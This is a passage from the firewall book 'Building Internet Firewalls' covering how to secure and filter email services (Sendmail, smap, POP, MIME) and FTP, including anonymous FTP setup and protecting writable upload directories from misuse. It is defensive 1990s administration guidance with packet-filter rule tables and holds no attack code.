On a bastion host, it should be possible to make Sendmail run setuid to something other than root. You can use an alternative SMTP server (the smap package, discussed below) for incoming SMTP connections, so that Sendmail doesn't need to listen on port 25. You shouldn't have any users on the bastion host, so you shouldn't need the ability to operate as particular users to read protected .forward and :include: files. There probably aren't any privileged system calls on your system that are critical to Sendmail's operation (though you may need to recompile Sendmail from source to prevent it from attempting to use those calls). All you're left with is the need to keep ownership of files in the mail queue consistent, and to keep nonprivileged users (which the bastion host shouldn't have anyway) from snooping on messages in transit. Creating a uid just for Sendmail, and making that uid the owner of the queue directory should solve that problem.

Each of these tasks could probably be done in more secure ways, but this would require a major redesign and reimplementation of Sendmail, and nobody has yet stepped up to accept this challenge: among other reasons, out of fear that doing so would probably introduce new problems. Instead, we keep getting patch after patch for problem after problem, so that "the current Sendmail patch" has become something of a running joke in the network security community.

Sendmail has exhibited all of the types of general mailer vulnerabilities we discussed above. Patching has eliminated or reduced most of them; for example, it used to be easy to exploit command-line bugs in Sendmail as an unprivileged user, but modern versions strictly limit the options available to unprivileged users. Given the program's past history, however, there are sure to be more problems yet to be discovered. Also, patches for old problems have sometimes introduced new problems.

8.1.1.3 Improving SMTP security with smap and smapd

An important step a firewall can take to improve security is to prevent attackers from speaking SMTP directly to Sendmail and, instead, to use a substitute server. Fortunately, this is feasible. SMTP stands for "Simple Mail Transport Protocol," and it really is simple. There are only about a half-dozen or so commands in the protocol that an SMTP server needs to implement in order to accept incoming mail.

You should consider adopting the smap package that is part of the TIS FWTK as a "wrapper" for your SMTP server (whether it is Sendmail or something else). The package includes a pair of programs called smap and smapd.

smap is a very short, simple program intended solely to handle incoming SMTP connections; unlike Sendmail, which contains about 30,000 lines of code, smap contains only about 700 lines. The relative simplicity of smap means that, unlike Sendmail, it can be easily be examined and considered in its entirety for security problems. Furthermore, it's designed with least privilege and compartmentalization in mind. The smap program runs without root privileges. It is started by inetd, which takes care of binding it to port 25 before starting it, so that smap doesn't need to run as root to do that. It runs chroot'd to a particular queue directory, and thus can't access anything outside that directory. All it does is accept incoming messages from the Internet via SMTP. It speaks the very minimum necessary set of SMTP commands, and it stores each message it receives in a separate file in the queue directory.

The second program, smapd, comes along regularly (typically once a minute) to process the files queued in this directory, normally by handing them to Sendmail for delivery.

The result of using this substitute SMTP server is that an attacker never has a direct SMTP connection to Sendmail or any other complex SMTP server. Such a system does not protect against data-driven security holes, but such holes would be extremely hard for any firewall system to guard against. Fortunately, data-driven holes in Sendmail seem to be very rare anyway; there has only been one instance to date.[1]

[1] This is covered in CERT Advisory 93:16. For information on obtaining CERT Advisories, see Appendix A.

You do give up certain capabilities by using the smap package, because smap quite intentionally handles only the minimum possible set of SMTP commands. In particular, you give up the ability to do Extended SMTP (ESMTP). ESMTP supports a number of enhancements to basic SMTP, such as better handling of MIME messages (discussed below) and messages containing eight-bit data. The basic SMTP service supports only seven-bit data, and requires that eight-bit data be converted using something like uuencode before being transmitted, which leaves the recipient with the problem of unconverting the data. This isn't a big problem right now, because only a few clients and servers currently support ESMTP and those that do have compatibility modes that let them talk regular SMTP. ESMTP is becoming more and more common, however, and this will become more of a problem as time goes by. Of course, it's always possible that the smap package will be updated to support ESMTP at some point, if it becomes a critical issue. Like many other situations involving security, by using smap you're trading off functionality for security.

8.1.1.4 Packet filtering characteristics of SMTP

SMTP is a TCP-based service. SMTP receivers use port 25. SMTP senders use a randomly selected port above 1023.

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
In | Ext | Int | TCP | >1023 | 25 | [2] | Incoming mail, sender to recipient
Out | Int | Ext | TCP | 25 | >1023 | Yes | Incoming mail, recipient to sender
Out | Int | Ext | TCP | >1023 | 25 | [2] | Outgoing mail, sender to recipient
In | Ext | Int | TCP | 25 | >1023 | Yes | Outgoing mail, recipient to sender

[2] ACK is not set on the first packet of this type (establishing connection) but will be set on the rest.

Normally, you want to configure your packet filters to allow incoming and outgoing SMTP only between external hosts and the bastion host, and between the bastion host and your internal mail servers.

Do not allow external hosts to contact random internal hosts via SMTP. As we've discussed above, only specially configured hosts can safely accept SMTP connections.

If you cannot filter on the ACK bit, you cannot safely allow outgoing SMTP connections directly from random internal hosts, as we demonstrate in the final example in Chapter 6. If you can filter on the ACK bit, you allow internal hosts to send mail to external hosts, but there isn't much advantage in doing so. Although it shouldn't increase your vulnerability, it increases the likelihood that you're going to send misformatted mail, because the mail (mis)configurations of all your machines would be visible to the external world, and the chances that all your internal machines do all the right things with mail headers (particularly in adding fully qualified domain names to addresses and "Message-ID:" lines) are low. Sending outgoing mail via the bastion host allows the bastion host the opportunity to clean up the headers before the mail is loosed upon the world.

Figure 8.3 (outbound SMTP) and Figure 8.4 (inbound SMTP) show how packet filtering works with SMTP.

Figure 8.3: Outbound SMTP

Figure 8.4: Inbound SMTP

8.1.1.5 Proxying characteristics of SMTP

Because SMTP is a store-and-forward protocol, it's inherently suited to proxying. Because any SMTP server can be a proxy, it's rare to set up separate proxying for it. Instead, most sites direct SMTP connections to a bastion host running a secure SMTP server that is the proxy.

Dedicated firewall products that provide proxying may proxy SMTP (they can't reasonably be expected to run a full SMTP server). This is straightforward to configure, because SMTP uses a single connection. In this configuration, it's not unreasonable to continue to direct the proxied SMTP connections to a single secured SMTP server on a bastion host that acts as a second proxy. Proxying protects you from unwanted connections, but not from misuses of connections; you don't want to let external hosts talk to a standard unsecured SMTP server, even through a proxy.

8.1.1.6 Configuring SMTP to work with a firewall

Because you want to send all your mail through your bastion host, you need to configure your mail system in a special way. Here are the important steps to follow:

  1. Use DNS Mail Exchange (MX) records to specify that all your incoming mail should be directed to your bastion host(s).[3]

    [3] For a detailed discussion of MX records, how they work, and how to use them, see the books TCP/IP Network Administration by Craig Hunt (O'Reilly & Associates, 1992) and DNS and BIND by Paul Albitz and Cricket Liu (O'Reilly & Associates, 1992).

  2. Configure the mailer on the bastion host to check the destination address on mail it receives. If the mail is being sent to an external host, the bastion host should process the mail as usual; if the mail is to an internal host, the bastion host should simply pass the mail to an internal mail server for processing, rather than attempt to deliver the mail itself. By passing the incoming mail to a single internal server for processing, the bastion host is relieved of having to keep track of internal aliases and internal mail configuration; this means you don't have to update the mailer configuration on the bastion host nearly as often. If the bastion host passes the incoming mail to a single internal server or small list of internal servers, the filtering system can restrict SMTP connections from the bastion host to just that host or hosts, reducing the number of internal systems that can be attacked via SMTP from the bastion host if the bastion host itself is compromised.

  3. Configure your internal systems to send all outgoing mail to the bastion host.

You may also want to configure your mail system so that mail is sent out with a central address, instead of with the name of an individual host, as its return address. For example, you might want mail from your users to appear as person@bigcompany.com not as person@littlemachine.bigcompany.com. Because all of the incoming mail (replies to the above addresses in outgoing mail) will be going to the bastion host in any case, this doesn't remove any necessary information. It helps to guarantee that mail will go to the bastion host correctly, even if there are problems with the MX records for individual machines, and it gives more consistent information to the recipients of the mail.

8.1.1.7 Summary recommendations for SMTP

  • Use the normal store-and-forward features of SMTP to send all incoming and outgoing mail through the bastion host.

  • Use packet filtering to restrict SMTP connections from external hosts to just the bastion host.

  • Use packet filtering to restrict SMTP connections from the bastion host to a specific internal server or set of servers.

  • Allow any internal system to send outgoing mail to the bastion host.

  • Use smap instead of Sendmail as the SMTP server on your bastion host and probably on your internal mail server as well.

  • Keep up to date with patches on delivery agents and user agents.

  • Educate your users concerning mail-based scams, such as instructions to run particular programs or to change their passwords to some specified string.

8.1.2 Post Office Protocol (POP)

SMTP is used to exchange mail between servers. Normally, users access their mail as a file (directly, or using NFS or something similar) on the machine where it is delivered; however, there are sometimes reasons to use a separate protocol to distribute mail from a server to an individual user.

POP is a client-server protocol for handling user electronic mailboxes. With POP, a user's mailbox (the actual file where that user's incoming email is held for his later access) is kept on a server, rather than on the user's personal machine. The server is probably available to accept incoming mail more consistently than the user's personal machine is (particularly if the user's "personal machine" is a portable that he carries with him and that is only sometimes connected to the network). When the user wants his email, he accesses his mailbox using a client program (such as Eudora or Z-Mail) on his own machine using the POP protocol.

There are two major security issues involved in using POP across the Internet. First, be aware that standard POP clients and servers send the user's POP password over the Internet in the clear, so that anyone snooping on the connection can capture and reuse it later. In most cases, the POP password is the same as the user's login password, so that someone who snoops on it can get all of the user's privileges - not just the user's electronic mail. There are more secure variants of POP that support Kerberos (often called KPOP) and nonreusable passwords for authentication (often called APOP), but these secure variants are not widely available or widely supported. You may have trouble finding a combination of clients and servers that support these variants and that works for your site.

Second, regardless of the authentication issues, be sure to also consider the sensitivity of the email your users will be accessing over the Internet via POP. Whatever email your users access will be visible to anyone snooping on their POP sessions; you need to think about how sensitive email might be in your own environment. Many sites decide that, regardless of the authentication issues, their users' internal email is often too sensitive to risk being snooped on by someone monitoring their POP sessions. These sites decide to provide alternative access methods, such as dial-ups, that aren't as susceptible to snooping. If you provide your users with the ability to reach your network on the inside of the firewall (for example, with modems and PPP or SLIP), you can give them POP access while they're traveling without allowing it across the Internet.

8.1.2.1 Packet filtering characteristics of POP

POP is a TCP-based service. POP servers for the current version of the POP protocol (which is known as POP3 and is by far the most common version in use) use port 110. Servers for the older POP2 protocol use port 109. (POP1 was never in widespread use.) POP clients use ports above 1023.

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
In | Ext | Int | TCP | >1023 | 110 109[4] | [5] | Incoming POP connection, client to server
Out | Int | Ext | TCP | 110 109[4] | >1023 | Yes | Incoming POP connection, server to client
Out | Int | Ext | TCP | >1023 | 110 109[4] | [5] | Outgoing POP connection, client to server
In | Ext | Int | TCP | 110 109[4] | >1023 | Yes | Outgoing POP connection, server to client

[4] Modern POP (POP3) servers use port 110; older POP2 servers use port 109.

[5] ACK is not set on the first packet of this type (establishing connection) but will be set on the rest.

An outgoing POP connection would allow your users to download their mail from other sites. This is no more dangerous than allowing outgoing Telnet, and you will probably want to allow such a POP connection if there is any demand. On the other hand, POP over the Internet is rare enough that there is unlikely to be anyone interested in outgoing POP at your site, and there is no point in its use.

Incoming POP connections are those that allow people at other sites to read mail delivered for them at your site. As discussed in the previous section, you probably don't want to allow incoming POP. If you do, you should certainly limit POP connections to a POP server running on a single host. That will limit the number of vulnerable accounts and the amount of information that's being passed across the Internet. Although there are no known vulnerabilities in POP servers, if any are found, you should patch them on just one host, without worrying about all your internal hosts. Because POP requires user accounts, you don't want to run it on your normal bastion host. Although you can prevent users from logging in on POP accounts, they represent a maintenance hassle.

Figure 8.5 shows how POP works with a firewall.

Figure 8.5: POP via packet filtering

8.1.2.2 Proxying characteristics of POP

POP is straightforward to proxy, because it uses a single connection. Precompiled proxy-enabled POP clients (those that work with SOCKS, for example) are not widely available. This is mostly because, although POP is used extensively within LANs, POP across the Internet is rare. UNIX POP clients are available in source form and trivial to adapt for modified-client proxying systems. It is generally more difficult to locate the source for personal-computer implementations but no more difficult to modify them.

There is no simple way to do modified-procedure proxying for connections between internal clients and external servers, or external clients and internal servers, unless all your clients are connecting to the same server. If that's the case, then you could run a generic TCP proxy program (such as the plug-gw program from the TIS FWTK) on the POP3 port on your bastion host, configured to relay all connections to the single POP server; you would then configure your clients to access the "POP server" (really the proxy program) on the bastion host.

If you do need to provide access to multiple POP servers and can ensure that all client connections from a given IP address or domain should be directed to a particular server, you could set up a more complex configuration with the plug-gw program to direct connections to the appropriate server based on where the connection request is coming from. If multiple users on the same client machine or machines need to access different POP servers across the firewall, however, there's no simple way to do it with the code that's currently available. It is possible to write a custom POP proxy server to run on the bastion host that authenticated the user, decided which server that user needed to talk to, opened a connection and authenticated the user to that server, and then sat back and played the traditional proxy server "pass-through" role; it would be difficult to make this work with nonreusable passwords, though.

8.1.2.3 Summary recommendations for POP

  • Do not allow your users to transfer your site's mail over the Internet via POP, unless you can do so without revealing reusable passwords, and unless either you aren't concerned about the sensitivity of the mail itself or you have an encrypted channel to transfer it over.

  • If you have users who wish to transfer mail from other sites via POP, allow it via packet filtering, perhaps restricted to connections from specific sites or to specific hosts on your end.

  • Proxying would be an effective solution for some POP problems, but you might need to do at least minor code modifications.

8.1.3 Multipurpose Internet Mail Extensions (MIME)

MIME is a set of extensions to the basic Internet electronic mail message format supporting things like:

  • Non-ASCII character sets

  • Nontext data such as pictures and audio segments

  • So-called "rich text" messages (messages containing formatted text, with different fonts and so on, rather than simple single-font unformatted text)

  • Multipart messages (messages containing multiple pieces, each piece in its own format).

MIME support is mostly a client issue; to mail servers and transport systems, MIME messages are generally just another message. The question is whether or not a given client can generate outgoing MIME messages, and whether or not it can recognize and cope with incoming MIME messages.

The MIME standards define certain basic data types, such as plain text, formatted text, standard audio, and so on. MIME is designed to be extensible, so that new data types can be added as necessary. MIME-capable mail clients generally understand certain data types (often only multipart messages and plain text), and rely on other programs to handle other data types (for example, graphics programs to display images, and sound programs to play audio clips). The clients generally have a list of external programs to run for particular types of data; this list can be extended or modified by the user.

Ironically, the biggest use of MIME hasn't been in mail systems, but in World Wide Web browsers. Most mail systems have little or no MIME support, but MIME is a key service upon which the World Wide Web is built. Every WWW server uses MIME to describe the format of every WWW page it hands to a client; every WWW client uses MIME to determine how to display or otherwise process the data it receives.

Because MIME is used more extensively for WWW support than for electronic mail, we discuss it below in the section on WWW, even though it is theoretically email-related. If you do have email clients that support MIME, they will be subject to the same vulnerabilities discussed in "What can a malicious server do to your clients?" in the section on the World Wide Web later in this chapter.

One difference between MIME support in email clients and WWW clients is how data is obtained. With a WWW client, the user chooses what data to access; with email, the user accesses whatever anybody sends them. In theory, email clients are more vulnerable, because you can't control what other people send you by email. In practice, however, the difference isn't that important, because it's fairly easy to lure a WWW user into accessing whatever you want them to access. Either way, you need to carefully control what data types your clients understand and how they process that data. See the full discussion of this issue in the WWW section.

Previous: 7.8 What If You Can't Proxy? | Building Internet Firewalls | Next: 8.2 File Transfer
7.8 What If You Can't Proxy? | Book Index | 8.2 File Transfer


[Chapter 8] 8.2 File Transfer

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 8.1 Electronic Mail Chapter 8
Configuring Internet Services 		Next: 8.3 Terminal Access (Telnet)

8.2 File Transfer

FTP is the de facto standard for file transfer on the Internet. In addition, there are some specialized protocols used for applications where FTP is not suitable. TFTP is used by dedicated devices to transfer configuration files. FSP is a UDP-based protocol used when TCP-based connections won't work or aren't allowed. UUCP is used for batch transfers, particularly across phone lines.

8.2.1 File Transfer Protocol (FTP)

FTP is used to transfer files from one machine to another. You can use FTP to transfer any type of file, including executable binaries, graphics images, ASCII text, PostScript, sound and video files, and more. There are two types of FTP access: user FTP and anonymous FTP. User FTP requires an account on the server and lets users access any files they could access if they were logged in. Anonymous FTP is for people who don't have an account and is used to provide access to specific files to the world at large.

Anonymous FTP is by far the most common use of FTP on the Internet. Anonymous FTP servers are the standard mechanism for distributing programs, information, and other files that sites wish to make available to the Internet at large. If a site provides an anonymous FTP server, anyone on the Internet can initiate an FTP connection to the site, tell the FTP server that their login name is "anonymous", and access whatever files the server's owners have chosen to make available in a restricted area.

8.2.1.1 Packet filtering characteristics of FTP

FTP uses two separate TCP connections: one to carry commands and results between the client and the server (commonly called the command channel), and the other to carry any actual files and directory listings transferred (the data channel). On the server end, the command channel uses well-known port 21, and the data channel normally uses well-known port 20. The client uses ports above 1023 for both the command and data channels.

To start an FTP session, a client first allocates two TCP ports for itself, each of them with a port number above 1024. It uses the first to open the command channel connection to the server and then issues FTP's PORT command to tell the server the number of the second port, which the client wants to use for the data channel. The server then opens the data channel connection. This data channel connection is backwards from most protocols, which open connections from the client to the server. This backwards open complicates things for sites that are attempting to do "start-of-connection" packet filtering to ensure that all TCP connections are initiated from the inside, because external FTP servers will attempt to initiate data connections to internal clients, in response to command connections opened from those internal clients. Furthermore, these connections will be going to ports known to be in an unsafe range. Figure 8.6 shows this kind of FTP connection.

Figure 8.6: A normal-mode FTP connection

Most FTP servers (particularly those used at major anonymous FTP sites on the Internet) and many FTP clients support an alternative mode that allows the client to open both the command and the data channels to the server. This mode is called "passive mode" or "PASV mode" (after the FTP command the client sends to the server to initiate this mode). If both your FTP client and the FTP server you're trying to connect to support passive mode, you can use it instead of the regular mode. This way, you can avoid start-of-connection filtering problems, because all connections will be opened from the inside, by the client.

To use passive mode, an FTP client allocates two TCP ports for its own use, and uses the first port to contact the FTP server, just as when using normal mode. However, instead of issuing the PORT command to tell the server the client's second port, the client issues the PASV command. This causes the server to allocate a second port of its own for the data channel (for architectural reasons, servers use random ports above 1023 for this, not port 20 as in normal mode; you couldn't have two servers on the same machine simultaneously listening for incoming PASV-mode data connections on port 20), and tell the client the number of that port. The client then opens the data connection from its port to the data port the server has just told it about. Figure 8.7 shows a passive-mode FTP connection.

Figure 8.7: A passive-mode FTP connection

Not all FTP clients support passive mode. If a given client does support passive mode, it will usually mention this as a feature in the documentation or description. Some clients support both normal and passive modes and provide the user some way to specify which mode to use. If you're having trouble finding passive-mode clients, it's useful to know that the built-in FTP clients in many WWW browsers (Netscape Navigator, for example) use passive mode. Chances are, your users will want to have these browsers anyway for WWW access, and you can show them how to use the browsers as FTP clients as well.

Because passive mode has only recently become popular, many times even servers that support passive mode have problems with it. You may find that combinations of servers and clients that work well with normal-mode transfers hang periodically when you do passive-mode transfers.

If your FTP client (or one of the FTP servers you wish to communicate with) does not support passive mode, and you still want to allow FTP via packet filtering (rather than via proxy), you'll have to put a special-case exception in your packet filtering rules to allow the server to open the data channel back in to the client. If you do so, you will still be vulnerable to attackers launching a connection from port 20 on the attacker's end (nominally the FTP data channel, but you have no way to guarantee that on a machine you don't control) to a port above 1023 on your end (such as an X server, for example). Therefore, you should restrict this special-case exception as much as possible, e.g., by tying it to the address of the particular client or server that doesn't support passive mode. (Even an exception for a single server makes you vulnerable to forged connections from that server).

Some dynamic packet filtering implementations (such as FireWall-1 from CheckPoint Software) monitor the commands sent over the FTP command channel and notice the PORT command the client sends to the server; This command tells the server on which port the client is listening for the server to open the data channel. These implementations also put in place a temporary (time-limited) exception in the packet filtering rules to allow the server to open the data channel back to the client.

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
In | Ext | Int | TCP | >1023 | 21 | [6] | Incoming FTP request
Out | Int | Ext | TCP | 21 | >1023 | Yes | Response to incoming request
Out | Int | Ext | TCP | 20 | >1023 | [6] | Data channel creation for incoming FTP request, normal mode
In | Ext | Int | TCP | >1023 | 20 | Yes | Data channel responses for incoming FTP request, normal mode
In | Ext | Int | TCP | >1023 | >1023 | [6] | Data channel creation for incoming FTP request, passive mode
Out | Int | Ext | TCP | >1023 | >1023 | Yes | Data channel responses for incoming FTP request, passive mode
Out | Int | Ext | TCP | >1023 | 21 | [6] | Outgoing FTP request
In | Ext | Int | TCP | 21 | >1023 | Yes | Response to outgoing request
In | Ext | Int | TCP | 20 | >1023 | [6] | Data channel creation for outgoing FTP request, normal mode
Out | Int | Ext | TCP | >1023 | 20 | Yes | Data channel responses for outgoing FTP request, normal mode
Out | Int | Ext | TCP | >1023 | >1023 | [6] | Data channel creation for outgoing FTP request, passive mode
In | Ext | Int | TCP | >1023 | >1023 | Yes | Data channel responses for outgoing FTP request, passive mode

[6] ACK is not set on the first packet of this type (establishing connection) but will be set on the rest.

8.2.1.2 Proxying characteristics of FTP

Because of the problems with passive mode, and because of complications introduced in name service (the "double-reverse lookups" discussed in the "Domain Name Service (DNS)" section below), proxying is a particularly attractive solution for outbound FTP. Using a normal-mode proxied client allows you to talk reliably to external servers without having to allow incoming TCP connections for the data channel to any host except the bastion host doing the proxying. For this reason, you may choose to proxy FTP even if you allow most other protocols directly through the firewall via packet filtering. Both modified-client and modified-procedure proxies are available for FTP.

The SOCKS package includes an FTP client for UNIX that has been modified to use SOCKS. Because of the multiple simultaneous TCP connections involved in FTP, modifying other FTP clients yourself requires some work (more than modifying clients for straightforward single-connection protocols like SMTP and POP).

The TIS FWTK provides a proxy FTP server that operates with modified clients or modified user procedures. It provides additional logging, operation denial, and user authentication features, giving you finer control than you can achieve with packet filters or SOCKS proxying.

If you want to use modified clients with the TIS FWTK FTP proxy server, you will need to do all of the modification yourself; they do not provide a modified client or even a client library. Using modified clients with the TIS FWTK FTP proxy server will also prevent you from running a standard FTP server on the machine you're using as the proxy server. Some versions of the FWTK have had an FTP server that could act as a proxy server and a regular FTP server, but there have been some problems with it, and it's not clear that it will continue to be included with newer releases of the toolkit.

Some FTP clients are not sufficiently flexible to be used with modified user procedures involving the TIS FWTK FTP proxy server. The custom procedure users have to follow involve opening an FTP connection to the machine where the proxy server is running, and then logging into the FTP proxy server as anonymous@host.some.net, specifying the name of the host they really want to connect to as part of the login. Some FTP clients have "anonymous" simply hardcoded in, or limit the length of the login field to something too short to contain "anonymous@" plus a reasonably long hostname.

Any commercial proxying packages will almost certainly support outbound FTP proxying, because FTP is such a commonly used protocol on the Internet.

Many sites use both proxy and packet filtering solutions for FTP. You can sometimes reduce the number of modified clients you need by using proxying to support normal-mode connections, and packet filtering to support passive-mode connections. You can also use a combined solution for added security by using a proxy FTP server that uses passive mode to make external connections, regardless of the mode it uses to talk to the internal hosts; this converts all connections that cross the firewall to passive mode and allows you to tighten the packet filters that protect the host doing the proxying. On the other hand, it keeps you from using servers that don't support passive mode.

8.2.1.3 Providing anonymous FTP service

With anonymous FTP, a user logs in to the FTP server as "anonymous". The user is then asked for a password and is expected to enter his or her full email address in response. At most sites, this request is not enforced, however, and users can enter whatever they want, as long as it looks like an email address; even if the information is entered, it's usually just logged, not verified in any way beyond a superficial plausibility check (i.e., does it contain an at (@) sign?). Many standard FTP servers, like the ones shipped with most versions of UNIX, don't even log the information.

If you are providing anonymous FTP service, the challenge is to ensure that the anonymous FTP server makes available only the information that you want made available and that it doesn't give an outsider access to other, supposedly private, information on the machine.

In setting up anonymous FTP, one precaution you can take is to limit what other information is available on the machine that's providing anonymous FTP service. In this way, even if attackers get "outside" the anonymous FTP area on the machine, there is nothing of interest to them elsewhere on the machine (or reachable from the machine via NFS or some other mechanism).

Many FTP servers perform a chroot to the anonymous FTP area before the FTP server starts processing commands from an anonymous user. To support both anonymous and user FTP, however, FTP servers need access to all files. This means that chroot, which is normally regarded as extremely safe, doesn't guarantee as much for an FTP server, because the server is not always running in the chroot'd environment.

To deal with this problem, you can modify inetd's configuration so that instead of starting the FTP server directly, it chroots (using something like the chrootuid program described in Appendix B) and then starts the FTP server. Normally, FTP runs with limited access only for anonymous users, and nonanonymous users have their normal access permissions. Doing the chroot before starting up the FTP server means that the nonanonymous users will also be limited; if you don't have any nonanonymous users of your FTP server (and you probably shouldn't), this is irrelevant.

The details of setting up an anonymous FTP system vary depending on the operating system and the particular FTP daemon code in use. Start with the instructions (if any) in the manual pages for your FTP daemon; this should get you through most of the vendor-specific steps. Then, once you've performed all the steps there, obtain and follow CERT Advisory 93:10 (for information on obtaining CERT advisories, see Appendix A), which addresses setting up anonymous FTP servers to close the holes left by most of the vendor instructions.[7]

[7] Many vendors ship instructions containing critical problems, ranging from security holes to missing steps that disable parts of FTP's functionality.)

Unfortunately, one of the most common ways that anonymous users get access to files they shouldn't be able to see is that an internal user innocently puts the files up for anonymous FTP, on the assumption that this is somehow safe. Usually, the internal user is relying on security through obscurity; he assumes that nobody will notice the files. This does not work well. People do notice, especially if the names of the new files are meaningful. At popular FTP sites, curious people poke around randomly, and they notice new files almost immediately and may transfer them out of pure curiosity. On less-visited FTP sites, files may remain unnoticed until an Archie server indexes them. Unless you have explicitly arranged to have your FTP site skipped, you should assume that it is being indexed; Archie is quite talented at finding sites.

It's best to avoid putting files up for anonymous FTP if you don't want the entire world to read them. Use other methods of file transfer if possible. If not, you may want to use a modified FTP server, like the wuarchive server, which allows semianonymous access that requires an anonymous user to provide an additional password to get access to certain directories. You can also put up files in directories that have execute permission but not read permission. Doing so will let people who know the names transfer the files, but won't let people look to see what files exist.

Whatever method you choose, be sure that everybody at your site who can put files in the anonymous FTP directories knows not to put confidential files where they're world-readable. An easy way to do this is to prevent your internal users from writing to the anonymous FTP directories and to require them to ask a system administrator to make a file available.

8.2.1.4 Using the wuarchive FTP daemon

Many Internet sites - both major and minor - that provide anonymous FTP run the wuarchive version of the UNIX FTP server, developed at Washington University (the "wu" in the name) in St. Louis. This server provides a number of features that are especially useful for anonymous FTP servers. These include the following features and many others:

  • Better and more complete logging. It can log uploads, downloads, or every command sent to it; it can also keep track of the number of accesses by user classes (e.g., by anonymous users).

  • Per-directory message files; these are shown to a user when he visits that directory to provide relevant information about the directory's contents (for example,"This version is now obsolete").

  • The ability to define classes of users; based on the account they log in to the server with, and/or the host from which they access, you can determine what files they have access to and when they can log in.

  • Restrictions on certain classes of users. For example, wuarchive can limit the number of simultaneous anonymous users who are accessing the server; the limit can vary by time of day and day of the week. By using these restrictions, you control the load generated by the FTP server.

  • The ability to compress, tar, and otherwise manipulate files automatically as they are transferred.

  • Nonanonymous chroot'ed access, for users who need only limited access to your machines. This allows you to give a specific account access to files that are not accessible to "anonymous" without giving them the ability to look around at everything on your disks.

For information about obtaining the wuarchive FTP daemon, see Appendix B. Be sure that you are installing the genuine, most recent version. This program has in the past been distributed by attackers with added trap doors, and older versions may have security problems that have since been fixed.

Be aware that one cost of the additional power and complexity offered by wuarchive is a bigger potential for security problems. The bigger and more complex a program is, the more likely it is to contain bugs. If the program is security-critical (as the FTP server is), many of those bugs are likely to have security impacts. Some features of the wuarchive server may also interact badly with some clients (in particular, some clients do not deal well with the displayed messages and hang). There are workarounds available, but if a significant percentage of your users have these clients, you may want to avoid wuarchive.

8.2.1.5 Using the TIS FWTK FTP daemon

Instead of using the wuarchive version of the FTP server, you might consider using the FTP server from the TIS Internet Firewall Toolkit. The TIS FWTK FTP daemon has an emphasis different from that of the wuarchive daemon. The wuarchive version adds code in order to add features that support anonymous FTP. The TIS FWTK version, by contrast, concentrates on simplifying the server and making it more secure, stripping it down to the bare minimum capabilities necessary to provide anonymous FTP service. However, the maintainers of the FWTK have been considering removing it from the FWTK release, because despite all the work they've done on it, they're still not convinced that it's as secure as they'd like it to be (though it is almost certainly more secure than any alternative). It's possible that it will have been removed from the release by the time you read this.

You'll have to decide for yourself whether you really need the enhanced features provided by the wuarchive server (and are willing to accept the potential security implications of those features), or whether you'd rather have the enhanced security provided by the TIS FWTK server (assuming it's still available), at a cost of fewer features. Many users are accustomed to using wuarchive FTP and have come to depend on its features; it is probably not reasonable to attempt to run a major anonymous FTP site with the TIS FWTK server. For a site that provides only occasional anonymous FTP, however, the FWTK server is probably a more secure and reliable option.

8.2.1.6 Be careful of writable directories in the anonymous FTP area

Regardless of which FTP daemon you use, you'll have to confront a particularly troublesome issue raised by anonymous FTP servers: writable directories in the anonymous FTP area. Sites frequently provide writable space in this area, so that outsiders can upload files to them as well as download files from them; for example, a software company's customers might be asked to upload crash dump files (which are too big to conveniently send through email) so the company can do a crash analysis on them.

Writable areas can be very useful, but they have a dark side. Such writable directories will (notice that we didn't say may) be found and used by "the underground" on the Internet as storage space and distribution areas for illicit material; generally this means pirated software packages and pornographic image files.

The folks who do this are amazingly well organized and hard to track down. They have their own communication mechanisms for telling each other about new sites - places they've found to store their stuff - without revealing who they are. When they find a new site, they typically create a hidden subdirectory in which to store their files and images. They give the subdirectory an innocuous name such as ".. " (that's "dot dot space space"). When casually looking around an anonymous FTP area, you probably won't notice a name like this. It's particularly easy to miss because file and directory names beginning with "." are ignored by the UNIX ls command, unless you give the command a special argument or run it as root.

On some sites in which intruders play this game, you can see a barter economy in operation. Someone leaves a note saying they're seeking a certain package or file, and listing what they have to offer in exchange. A short time later, someone else comes along, uploads the requested files, and leaves another note telling the original poster what they want in return.

What's wrong with this misuse of your anonymous FTP areas? There are several problems:

  • It consumes your resources, such as disk space and network bandwidth (particularly on your Internet connection), and it interferes with the legitimate use of those resources: it's a denial of service attack.

  • It potentially exposes your site to legal action for assisting (even unwittingly) in software piracy, or perhaps sexual harassment, or even sexual exploitation of minors. Even if such actions are unlikely to succeed, your attorneys will probably tell you that they'd rather avoid the issue and not have to fight the battle in the first place.

  • Even if no legal actions are undertaken, such an incident could generate significant negative publicity and embarrassment for your site or organization. Once your name has been linked to software piracy or child pornography in any way, you are in bad trouble regardless of how innocent your involvement was.

How can you protect your anonymous FTP areas from such misuse? The first question to ask yourself is this: do you really need to provide writable space in your anonymous FTP area? Often there are other acceptable ways (electronic mail, for example) for folks to send files to you. If you decide that you must provide writable space in your anonymous FTP area, there are a number of ways to limit your vulnerability, as we describe below.

Making your incoming directory write-only

The most obvious approach, if you're using a UNIX machine as your bastion host, is to make your "incoming" directory write-only (directory permissions 773 or 733 - that is, "rwxrwx-wx" or "rwx-wx-wx"). Make sure that the directory is owned by some user other than "ftp" (or whatever your anonymous FTP server runs as when doing anonymous FTP). If the mode is 773 instead of 733, then also make sure that the group of the directory is something other than the default group of the "ftp" login.

The problem with this approach is that all you're doing is keeping people from being able to see what's in the top-level directory. They can still see what's in subdirectories, and they can still access files and directories they create in the top-level directory if they communicate exact filenames among themselves. (Unfortunately, they can, via their mailing lists and other communications channels.)

Disabling the creation of directories and certain files

Another approach is to disable the creation of directories and files with funny names (for example, files that begin with ".") in your anonymous FTP server. Depending on your server, you may be able to do this with a configuration file (for example, the wuarchive server lets you restrict anonymous users from deleting, overwriting, or creating certain types of files), or you may have to modify the server source code. (This is a nontrivial modification, which requires a reasonably competent C programmer.)

This approach doesn't keep people from uploading stuff to the writable directory you provide; it simply makes it more difficult for them to hide that stuff so that it escapes your notice. If you do this, you will still need to look at the writable area every day (and look at the content of files, not just the names) to be sure everything is something that belongs there.

Uploading by prearrangement

Another approach is used frequently by sites that want people to be able to upload files, but only by prearrangement. These sites take a page from the underground's own book by creating hidden writable subdirectories that you can only access if you know they're there. The attackers can't see them; they're unaware that there's a "there" there for their wares.

